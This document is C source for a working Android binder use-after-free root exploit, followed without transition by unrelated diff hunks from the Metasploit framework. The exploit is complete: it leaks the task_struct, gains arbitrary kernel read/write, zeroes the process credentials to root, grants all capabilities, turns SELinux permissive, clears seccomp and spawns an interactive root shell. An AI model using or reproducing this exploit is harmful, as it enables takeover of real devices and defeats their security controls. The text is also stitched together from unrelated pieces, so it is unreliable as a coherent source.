#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <linux/sched.h>
|
||||
#include <string.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <errno.h>
|
||||
|
||||
#define BINDER_THREAD_EXIT 0x40046208ul
|
||||
// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
|
||||
#define BINDER_THREAD_SZ 0x190
|
||||
#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
|
||||
#define WAITQUEUE_OFFSET 0xA0
|
||||
#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10
|
||||
|
||||
void hexdump_memory(unsigned char *buf, size_t byte_count) {
|
||||
unsigned long byte_offset_start = 0;
|
||||
if (byte_count % 16)
|
||||
errx(1, "hexdump_memory called with non-full line");
|
||||
for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
|
||||
byte_offset += 16) {
|
||||
char line[1000];
|
||||
char *linep = line;
|
||||
linep += sprintf(linep, "%08lx ", byte_offset);
|
||||
for (int i=0; i<16; i++) {
|
||||
linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
|
||||
}
|
||||
linep += sprintf(linep, " |");
|
||||
for (int i=0; i<16; i++) {
|
||||
char c = buf[byte_offset + i];
|
||||
if (isalnum(c) || ispunct(c) || c == ' ') {
|
||||
*(linep++) = c;
|
||||
} else {
|
||||
*(linep++) = '.';
|
||||
}
|
||||
}
|
||||
linep += sprintf(linep, "|");
|
||||
puts(line);
|
||||
}
|
||||
}
|
||||
|
||||
int epfd;
|
||||
|
||||
void *dummy_page_4g_aligned;
|
||||
unsigned long current_ptr;
|
||||
int binder_fd;
|
||||
|
||||
void leak_task_struct(void)
|
||||
{
|
||||
struct epoll_event event = { .events = EPOLLIN };
|
||||
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");
|
||||
|
||||
struct iovec iovec_array[IOVEC_ARRAY_SZ];
|
||||
memset(iovec_array, 0, sizeof(iovec_array));
|
||||
|
||||
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
|
||||
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
|
||||
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
|
||||
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;
|
||||
|
||||
int b;
|
||||
|
||||
int pipefd[2];
|
||||
if (pipe(pipefd)) err(1, "pipe");
|
||||
if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
|
||||
static char page_buffer[0x1000];
|
||||
//if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe");
|
||||
|
||||
pid_t fork_ret = fork();
|
||||
if (fork_ret == -1) err(1, "fork");
|
||||
if (fork_ret == 0){
|
||||
/* Child process */
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
sleep(2);
|
||||
printf("CHILD: Doing EPOLL_CTL_DEL.\n");
|
||||
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
|
||||
printf("CHILD: Finished EPOLL_CTL_DEL.\n");
|
||||
// first page: dummy data
|
||||
if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
|
||||
close(pipefd[1]);
|
||||
printf("CHILD: Finished write to FIFO.\n");
|
||||
|
||||
exit(0);
|
||||
}
|
||||
//printf("PARENT: Calling READV\n");
|
||||
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
|
||||
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
|
||||
printf("writev() returns 0x%x\n", (unsigned int)b);
|
||||
// second page: leaked data
|
||||
if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
|
||||
//hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer));
|
||||
|
||||
printf("PARENT: Finished calling READV\n");
|
||||
int status;
|
||||
if (wait(&status) != fork_ret) err(1, "wait");
|
||||
|
||||
current_ptr = *(unsigned long *)(page_buffer + 0xe8);
|
||||
printf("current_ptr == 0x%lx\n", current_ptr);
|
||||
}
|
||||
|
||||
void clobber_addr_limit(void)
|
||||
{
|
||||
struct epoll_event event = { .events = EPOLLIN };
|
||||
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");
|
||||
|
||||
struct iovec iovec_array[IOVEC_ARRAY_SZ];
|
||||
memset(iovec_array, 0, sizeof(iovec_array));
|
||||
|
||||
unsigned long second_write_chunk[] = {
|
||||
1, /* iov_len */
|
||||
0xdeadbeef, /* iov_base (already used) */
|
||||
0x8 + 2 * 0x10, /* iov_len (already used) */
|
||||
current_ptr + 0x8, /* next iov_base (addr_limit) */
|
||||
8, /* next iov_len (sizeof(addr_limit)) */
|
||||
0xfffffffffffffffe /* value to write */
|
||||
};
|
||||
|
||||
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
|
||||
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
|
||||
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
|
||||
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
|
||||
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
|
||||
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */
|
||||
|
||||
int socks[2];
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
|
||||
if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");
|
||||
|
||||
pid_t fork_ret = fork();
|
||||
if (fork_ret == -1) err(1, "fork");
|
||||
if (fork_ret == 0){
|
||||
/* Child process */
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
sleep(2);
|
||||
printf("CHILD: Doing EPOLL_CTL_DEL.\n");
|
||||
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
|
||||
printf("CHILD: Finished EPOLL_CTL_DEL.\n");
|
||||
if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
|
||||
err(1, "write second chunk to socket");
|
||||
exit(0);
|
||||
}
|
||||
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
|
||||
struct msghdr msg = {
|
||||
.msg_iov = iovec_array,
|
||||
.msg_iovlen = IOVEC_ARRAY_SZ
|
||||
};
|
||||
int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
|
||||
printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,
|
||||
(unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
|
||||
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
|
||||
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));
|
||||
}
|
||||
|
||||
int kernel_rw_pipe[2];
|
||||
void kernel_write(unsigned long kaddr, void *buf, unsigned long len) {
|
||||
errno = 0;
|
||||
if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
|
||||
if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer");
|
||||
if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory");
|
||||
}
|
||||
void kernel_read(unsigned long kaddr, void *buf, unsigned long len) {
|
||||
errno = 0;
|
||||
if (len > 0x1000) errx(1, "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len);
|
||||
if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) err(1, "kernel_read failed to read kernel memory");
|
||||
if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace");
|
||||
}
|
||||
unsigned long kernel_read_ulong(unsigned long kaddr) {
|
||||
unsigned long data;
|
||||
kernel_read(kaddr, &data, sizeof(data));
|
||||
return data;
|
||||
}
|
||||
unsigned long kernel_read_uint(unsigned long kaddr) {
|
||||
unsigned int data;
|
||||
kernel_read(kaddr, &data, sizeof(data));
|
||||
return data;
|
||||
}
|
||||
void kernel_write_ulong(unsigned long kaddr, unsigned long data) {
|
||||
kernel_write(kaddr, &data, sizeof(data));
|
||||
}
|
||||
void kernel_write_uint(unsigned long kaddr, unsigned int data) {
|
||||
kernel_write(kaddr, &data, sizeof(data));
|
||||
}
|
||||
|
||||
// Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
|
||||
// data from `pahole` on my own build with the same .config
|
||||
#define OFFSET__task_struct__mm 0x520
|
||||
#define OFFSET__task_struct__cred 0x790
|
||||
#define OFFSET__mm_struct__user_ns 0x300
|
||||
#define OFFSET__uts_namespace__name__version 0xc7
|
||||
// SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug
|
||||
#define SYMBOL__init_user_ns 0x202f2c8
|
||||
#define SYMBOL__init_task 0x20257d0
|
||||
#define SYMBOL__init_uts_ns 0x20255c0
|
||||
|
||||
#define OFFSET__task_struct__thread_info__flags 0
|
||||
#define SYMBOL__selinux_enforcing 0x23ce4a8 // Grant: recovered using droidimg+miasm
|
||||
|
||||
int main(void) {
|
||||
printf("Starting POC\n");
|
||||
//pin_to(0);
|
||||
|
||||
dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
||||
if (dummy_page_4g_aligned != (void*)0x100000000UL)
|
||||
err(1, "mmap 4g aligned");
|
||||
if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe");
|
||||
|
||||
binder_fd = open("/dev/binder", O_RDONLY);
|
||||
epfd = epoll_create(1000);
|
||||
leak_task_struct();
|
||||
clobber_addr_limit();
|
||||
|
||||
setbuf(stdout, NULL);
|
||||
printf("should have stable kernel R/W now\n");
|
||||
|
||||
/*size_t readsize = 0x1000;*/
|
||||
/*void* readbuf = malloc(readsize);*/
|
||||
/*kernel_read(current_ptr, readbuf, readsize);*/
|
||||
/*hexdump_memory(readbuf, readsize);*/
|
||||
|
||||
/*in case you want to do stuff with the creds, to show that you can get them:*/
|
||||
unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm);
|
||||
printf("current->mm == 0x%lx\n", current_mm);
|
||||
unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns);
|
||||
printf("current->mm->user_ns == 0x%lx\n", current_user_ns);
|
||||
unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns;
|
||||
printf("kernel base is 0x%lx\n", kernel_base);
|
||||
if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)");
|
||||
unsigned long init_task = kernel_base + SYMBOL__init_task;
|
||||
printf("&init_task == 0x%lx\n", init_task);
|
||||
unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred);
|
||||
printf("init_task.cred == 0x%lx\n", init_task_cred);
|
||||
unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
|
||||
printf("current->cred == 0x%lx\n", my_cred);
|
||||
|
||||
unsigned long my_uid = my_cred + 4;
|
||||
unsigned long my_suid = my_uid + 8;
|
||||
unsigned long my_euid = my_uid + 16;
|
||||
unsigned long my_fsuid = my_uid + 24;
|
||||
unsigned long uid = kernel_read_ulong(my_uid);
|
||||
printf("uid == 0x%lx\n", uid);
|
||||
kernel_write_ulong(my_uid, 0);
|
||||
unsigned long suid = kernel_read_ulong(my_suid);
|
||||
printf("suid == 0x%lx\n", suid);
|
||||
kernel_write_ulong(my_suid, 0);
|
||||
unsigned long euid = kernel_read_ulong(my_euid);
|
||||
printf("euid == 0x%lx\n", euid);
|
||||
kernel_write_ulong(my_euid, 0);
|
||||
unsigned long fsuid = kernel_read_ulong(my_fsuid);
|
||||
printf("fsuid == 0x%lx\n", fsuid);
|
||||
kernel_write_ulong(my_fsuid, 0);
|
||||
|
||||
if (getuid() != 0) {
|
||||
printf("Something went wrong changing our UID to root!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
// reset securebits
|
||||
kernel_write_uint(my_cred+0x24, 0);
|
||||
|
||||
// change capabilities to everything (perm, effective, bounding)
|
||||
for (int i = 0; i < 3; i++)
|
||||
kernel_write_ulong(my_cred+0x30 + i*8, 0x3fffffffffUL);
|
||||
|
||||
printf("Capabilities set to ALL\n");
|
||||
|
||||
#if 0
|
||||
// Grant: this was a failed attempt of just changing my SELinux SID to init's (sid = 7)
|
||||
// It was "working", but my process's pty would hang, so I couldnt interact with a shell
|
||||
// From here I just disabled SELinux
|
||||
|
||||
// change SID to init
|
||||
for (int i = 0; i < 2; i++)
|
||||
kernel_write_uint(current_cred_security + i*4, 1);
|
||||
printf("[+] before 2\n");
|
||||
kernel_write_uint(current_cred_security + 0, 1);
|
||||
printf("[+] before 3\n");
|
||||
kernel_write_uint(current_cred_security + 8, 7);
|
||||
|
||||
kernel_write_ulong(current_cred_security, 0x0100000001UL);
|
||||
|
||||
kernel_write_uint(current_cred_security + 8, 7);
|
||||
printf("[+] SID -> init (7)\n");
|
||||
#endif
|
||||
|
||||
// Grant: was checking for this earlier, but it's not set, so I moved on
|
||||
// printf("PR_GET_NO_NEW_PRIVS %d\n", prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0));
|
||||
|
||||
unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing);
|
||||
|
||||
printf("SELinux status = %u\n", enforcing);
|
||||
|
||||
if (enforcing) {
|
||||
printf("Setting SELinux to permissive\n");
|
||||
kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0);
|
||||
} else {
|
||||
printf("SELinux is already in permissive mode\n");
|
||||
}
|
||||
|
||||
// Grant: We want to be as powerful as init, which includes mounting in the global namespace
|
||||
printf("Re-joining the init mount namespace...\n");
|
||||
int fd = open("/proc/1/ns/mnt", O_RDONLY);
|
||||
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNS) < 0) {
|
||||
perror("setns");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Re-joining the init net namespace...\n");
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) < 0) {
|
||||
perror("setns");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contexts
|
||||
if (prctl(PR_GET_SECCOMP) != 0) {
|
||||
printf("Disabling SECCOMP\n");
|
||||
|
||||
// Grant: we need to clear TIF_SECCOMP from task first, otherwise, kernel WARN
|
||||
// clear the TIF_SECCOMP flag and everything else :P (feel free to modify this to just clear the single flag)
|
||||
// arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11
|
||||
kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0);
|
||||
kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0);
|
||||
kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0);
|
||||
|
||||
if (prctl(PR_GET_SECCOMP) != 0) {
|
||||
printf("Failed to disable SECCOMP!\n");
|
||||
exit(1);
|
||||
} else {
|
||||
printf("SECCOMP disabled!\n");
|
||||
}
|
||||
} else {
|
||||
printf("SECCOMP is already disabled!\n");
|
||||
}
|
||||
|
||||
/*kernel_read(my_cred, readbuf, readsize);*/
|
||||
/*hexdump_memory(readbuf, readsize);*/
|
||||
|
||||
system("/system/bin/sh -i");
|
||||
|
||||
/*unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns;*/
|
||||
/*char new_uts_version[] = "EXPLOITED KERNEL";*/
|
||||
/*kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));*/
|
||||
}
|
||||
Vendored
-1
@@ -214,7 +214,6 @@ _arguments \
|
||||
"--encrypt[The type of encryption or encoding to apply to the shellcode]:value" \
|
||||
"--encrypt-key[A key to be used for --encrypt]:value" \
|
||||
"--encrypt-iv[An initialization vector for --encrypt]:value" \
|
||||
"--help-formats[List available formats]" \
|
||||
"--list-options[List --payload <value>'s standard, advanced and evasion options]" \
|
||||
"--pad-nops[Use nopsled size specified by -n \<length\> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)]" \
|
||||
"--platform[The platform for --payload (use --list platforms to list)]:target platform:_msfvenom_platform" \
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "5.0.76"
|
||||
VERSION = "5.0.80"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
module Msf::Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides basic interaction with a ChannelFD
|
||||
# abstraction provided by the Rex::Proto::Ssh wrapper
|
||||
# around HrrRbSsh.
|
||||
#
|
||||
# Date: June 22, 2019
|
||||
# Author: RageLtMan
|
||||
#
|
||||
###
|
||||
class SshCommandShell < Msf::Sessions::CommandShell
|
||||
|
||||
#
|
||||
# This interface supports basic interaction.
|
||||
#
|
||||
include Msf::Session::Basic
|
||||
|
||||
#
|
||||
# This interface supports interacting with a single command shell.
|
||||
#
|
||||
include Msf::Session::Provider::SingleCommandShell
|
||||
|
||||
##
|
||||
#
|
||||
# Returns the session description.
|
||||
#
|
||||
def desc
|
||||
"SSH command shell"
|
||||
end
|
||||
|
||||
def shell_command(cmd)
|
||||
# Send the command to the session's stdin.
|
||||
shell_write(cmd + "\n")
|
||||
|
||||
timeo = 0.5
|
||||
etime = ::Time.now.to_f + timeo
|
||||
buff = ""
|
||||
|
||||
# Keep reading data until no more data is available or the timeout is
|
||||
# reached.
|
||||
while (::Time.now.to_f < etime and ::IO.select([rstream.fd_rd], nil, nil, timeo))
|
||||
res = shell_read(-1, 0.01)
|
||||
buff << res if res
|
||||
timeo = etime - ::Time.now.to_f
|
||||
end
|
||||
|
||||
buff
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def _interact_stream
|
||||
fdr = [rstream.fd_rd, user_input.fd]
|
||||
fdw = [rstream.fd_wr, user_input.fd]
|
||||
while self.interacting
|
||||
sd = Rex::ThreadSafe.select(fdr, nil, fdw, 0.5)
|
||||
next unless sd
|
||||
|
||||
if sd[0].include? rstream.fd_rd
|
||||
user_output.print(shell_read)
|
||||
end
|
||||
if sd[0].include? user_input.fd
|
||||
run_single((user_input.gets || '').chomp("\n"))
|
||||
end
|
||||
Thread.pass
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -173,7 +173,7 @@ protected
|
||||
mod.framework.ready.delete run_uuid
|
||||
result = block.call(mod)
|
||||
mod.framework.results[run_uuid] = {result: result}
|
||||
rescue Exception => e
|
||||
rescue ::Exception => e
|
||||
mod.framework.results[run_uuid] = {error: e.to_s}
|
||||
raise
|
||||
ensure
|
||||
|
||||
@@ -82,6 +82,17 @@ module Auxiliary::AuthBrute
|
||||
end
|
||||
end
|
||||
|
||||
# Yields each Metasploit::Credential::Core in the Mdm::Workspace with
|
||||
# a private type of 'nil'
|
||||
#
|
||||
# @yieldparam [Metasploit::Credential::Core]
|
||||
def each_username_cred
|
||||
creds = framework.db.creds(type: nil, workspace: myworkspace.name)
|
||||
creds.each do |cred|
|
||||
yield cred
|
||||
end
|
||||
end
|
||||
|
||||
# Checks whether we should be adding creds from the DB to a CredCollection
|
||||
#
|
||||
# @return [TrueClass] if any of the datastore options for db creds are selected and the db is active
|
||||
@@ -135,6 +146,21 @@ module Auxiliary::AuthBrute
|
||||
cred_collection
|
||||
end
|
||||
|
||||
# This method takes a Metasploit::Framework::CredentialCollection and prepends existing Usernames
|
||||
# from the database. This allows the users to use the DB_ALL_USERS option.
|
||||
#
|
||||
# @param cred_collection [Metasploit::Framework::CredentialCollection]
|
||||
# the credential collection to add to
|
||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||
def prepend_db_usernames(cred_collection)
|
||||
if prepend_db_creds?
|
||||
each_username_cred do |cred|
|
||||
process_cred_for_collection(cred_collection,cred)
|
||||
end
|
||||
end
|
||||
cred_collection
|
||||
end
|
||||
|
||||
# Takes a Metasploit::Credential::Core and converts it into a
|
||||
# Metasploit::Framework::Credential and processes it into the
|
||||
# Metasploit::Framework::CredentialCollection as dictated by the
|
||||
|
||||
@@ -34,7 +34,6 @@ end
|
||||
|
||||
def check
|
||||
nmod = replicant
|
||||
nmod.datastore['RHOST'] = @original_rhost
|
||||
begin
|
||||
nmod.check_host(datastore['RHOST'])
|
||||
rescue NoMethodError
|
||||
|
||||
@@ -23,22 +23,21 @@ module Exploit::Remote::AutoCheck
|
||||
|
||||
print_status('Executing automatic check (disable AutoCheck to override)')
|
||||
|
||||
checkcode = check
|
||||
|
||||
checkcode_error = checkcode.message + '. Disable AutoCheck to override.'
|
||||
|
||||
# This isn't even my final form!
|
||||
case checkcode
|
||||
case (checkcode = check)
|
||||
when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears
|
||||
print_good(checkcode.message)
|
||||
when Exploit::CheckCode::Detected
|
||||
print_warning(checkcode.message)
|
||||
when Exploit::CheckCode::Safe
|
||||
fail_with(Module::Failure::NotVulnerable, checkcode_error)
|
||||
fail_with(Module::Failure::NotVulnerable,
|
||||
"#{checkcode.message}. Disable AutoCheck to override.")
|
||||
when Exploit::CheckCode::Unsupported
|
||||
fail_with(Module::Failure::BadConfig, checkcode_error)
|
||||
fail_with(Module::Failure::BadConfig,
|
||||
"#{checkcode.message}. Disable AutoCheck to override.")
|
||||
else
|
||||
fail_with(Module::Failure::Unknown, checkcode_error)
|
||||
fail_with(Module::Failure::Unknown,
|
||||
"#{checkcode.message}. Disable AutoCheck to override.")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -24,17 +24,23 @@ module Exploit::Remote::CheckModule
|
||||
|
||||
# Bail if we couldn't
|
||||
unless mod
|
||||
return CheckCode::Unsupported("Could not instantiate #{check_module}")
|
||||
return CheckCode::Unsupported(
|
||||
"Could not instantiate #{check_module}"
|
||||
)
|
||||
end
|
||||
|
||||
# Bail if it isn't aux
|
||||
if mod.type != Msf::MODULE_AUX
|
||||
return CheckCode::Unsupported("#{check_module} is not an auxiliary module")
|
||||
return CheckCode::Unsupported(
|
||||
"#{check_module} is not an auxiliary module"
|
||||
)
|
||||
end
|
||||
|
||||
# Bail if run isn't defined
|
||||
unless mod.respond_to?(:run)
|
||||
return CheckCode::Unsupported("#{check_module} does not define a run method")
|
||||
return CheckCode::Unsupported(
|
||||
"#{check_module} does not define a run method"
|
||||
)
|
||||
end
|
||||
|
||||
print_status("Using #{check_module} as check")
|
||||
@@ -57,14 +63,18 @@ module Exploit::Remote::CheckModule
|
||||
|
||||
# Bail if module doesn't return a CheckCode
|
||||
unless checkcode.kind_of?(Exploit::CheckCode)
|
||||
return Exploit::CheckCode::Unsupported("#{check_module} does not return a CheckCode")
|
||||
return Exploit::CheckCode::Unsupported(
|
||||
"#{check_module} does not return a CheckCode"
|
||||
)
|
||||
end
|
||||
|
||||
# Return the CheckCode
|
||||
checkcode
|
||||
else
|
||||
# Bail if module doesn't return a CheckCode
|
||||
Exploit::CheckCode::Unsupported("#{check_module} does not return a CheckCode")
|
||||
Exploit::CheckCode::Unsupported(
|
||||
"#{check_module} does not return a CheckCode"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -40,7 +40,7 @@ module Exploit::EXE
|
||||
|
||||
def get_custom_exe(path = nil)
|
||||
path ||= datastore['EXE::Custom']
|
||||
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
|
||||
print_status("Using custom payload #{path}, no handler will be created!")
|
||||
datastore['DisablePayloadHandler'] = true
|
||||
exe = nil
|
||||
::File.open(path,'rb') {|f| exe = f.read(f.stat.size)}
|
||||
|
||||
@@ -13,10 +13,10 @@ module Msf::Exploit::Expect
|
||||
# @param line [String] Line to send
|
||||
# @param pattern [Regexp] Pattern to expect
|
||||
# @param sock [Socket] Socket to send/expect on
|
||||
# @param timeout [Float] Seconds to expect pattern
|
||||
# @param newline [String] Newline character(s)
|
||||
# @param timeout [Float] Seconds to expect pattern
|
||||
# @return [void]
|
||||
def send_expect(line, pattern, sock:, timeout: 3.5, newline: "\n")
|
||||
def send_expect(line, pattern, sock:, newline: "\n", timeout: 3.5)
|
||||
unless sock.respond_to?(:put) && sock.respond_to?(:expect)
|
||||
raise ArgumentError, 'sock does not appear to be a socket'
|
||||
end
|
||||
|
||||
@@ -44,7 +44,9 @@ module Exploit::Remote::HttpClient
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
|
||||
OptFloat.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),
|
||||
OptBool.new('HttpPartialResponses', [false, 'Return partial HTTP responses despite timeouts', false]),
|
||||
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false])
|
||||
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]),
|
||||
OptBool.new('HttpTraceHeadersOnly', [false, 'Show HTTP headers only in HttpTrace', false]),
|
||||
OptString.new('HttpTraceColors', [false, 'HTTP request and response colors for HttpTrace (unset to disable)', 'red/blu'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
@@ -317,13 +319,18 @@ module Exploit::Remote::HttpClient
|
||||
|
||||
begin
|
||||
c = connect(opts)
|
||||
r = c.request_raw(opts)
|
||||
r = opts[:cgi] ? c.request_cgi(opts) : c.request_raw(opts)
|
||||
|
||||
if datastore['HttpTrace']
|
||||
request_color, response_color =
|
||||
(datastore['HttpTraceColors'] || '').split('/').map { |color| "%bld%#{color}" }
|
||||
|
||||
request = r.to_s(headers_only: datastore['HttpTraceHeaders'])
|
||||
|
||||
print_line('#' * 20)
|
||||
print_line('# Request:')
|
||||
print_line('#' * 20)
|
||||
print_line(r.to_s)
|
||||
print_line("%clr#{request_color}#{request}%clr")
|
||||
end
|
||||
|
||||
res = c.send_recv(r, actual_timeout)
|
||||
@@ -332,10 +339,13 @@ module Exploit::Remote::HttpClient
|
||||
print_line('#' * 20)
|
||||
print_line('# Response:')
|
||||
print_line('#' * 20)
|
||||
if res.nil?
|
||||
print_line("No response received")
|
||||
|
||||
if res
|
||||
response = res.to_terminal_output(headers_only: datastore['HttpTraceHeadersOnly'])
|
||||
|
||||
print_line("%clr#{response_color}#{response}%clr")
|
||||
else
|
||||
print_line(res.to_terminal_output)
|
||||
print_line('No response received')
|
||||
end
|
||||
end
|
||||
|
||||
@@ -362,51 +372,7 @@ module Exploit::Remote::HttpClient
|
||||
#
|
||||
# @return (see Rex::Proto::Http::Client#send_recv))
|
||||
def send_request_cgi(opts={}, timeout = 20, disconnect = true)
|
||||
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
|
||||
actual_timeout = datastore['HttpClientTimeout']
|
||||
else
|
||||
actual_timeout = opts[:timeout] || timeout
|
||||
end
|
||||
|
||||
print_line("*" * 20) if datastore['HttpTrace']
|
||||
|
||||
begin
|
||||
c = connect(opts)
|
||||
r = c.request_cgi(opts)
|
||||
|
||||
if datastore['HttpTrace']
|
||||
print_line('#' * 20)
|
||||
print_line('# Request:')
|
||||
print_line('#' * 20)
|
||||
print_line(r.to_s)
|
||||
end
|
||||
|
||||
res = c.send_recv(r, actual_timeout)
|
||||
|
||||
if datastore['HttpTrace']
|
||||
print_line('#' * 20)
|
||||
print_line('# Response:')
|
||||
print_line('#' * 20)
|
||||
if res.nil?
|
||||
print_line("No response received")
|
||||
else
|
||||
print_line(res.to_terminal_output)
|
||||
end
|
||||
end
|
||||
|
||||
disconnect(c) if disconnect
|
||||
|
||||
res
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
||||
print_line(e.message) if datastore['HttpTrace']
|
||||
nil
|
||||
rescue Rex::ConnectionError => e
|
||||
vprint_error(e.to_s)
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
print_line(e.message) if datastore['HttpTrace']
|
||||
raise e
|
||||
end
|
||||
send_request_raw(opts.merge(cgi: true), timeout, disconnect)
|
||||
end
|
||||
|
||||
# Connects to the server, creates a request, sends the request, reads the
|
||||
|
||||
@@ -231,6 +231,7 @@ module Exploit::Remote::Postgres
|
||||
begin
|
||||
self.postgres_conn = Connection.new(db,username,password,uri)
|
||||
rescue RuntimeError => e
|
||||
vprint_error e.to_s
|
||||
version_hash = analyze_auth_error e
|
||||
return version_hash
|
||||
end
|
||||
|
||||
@@ -15,6 +15,7 @@ module Exploit::Powershell
|
||||
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
||||
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
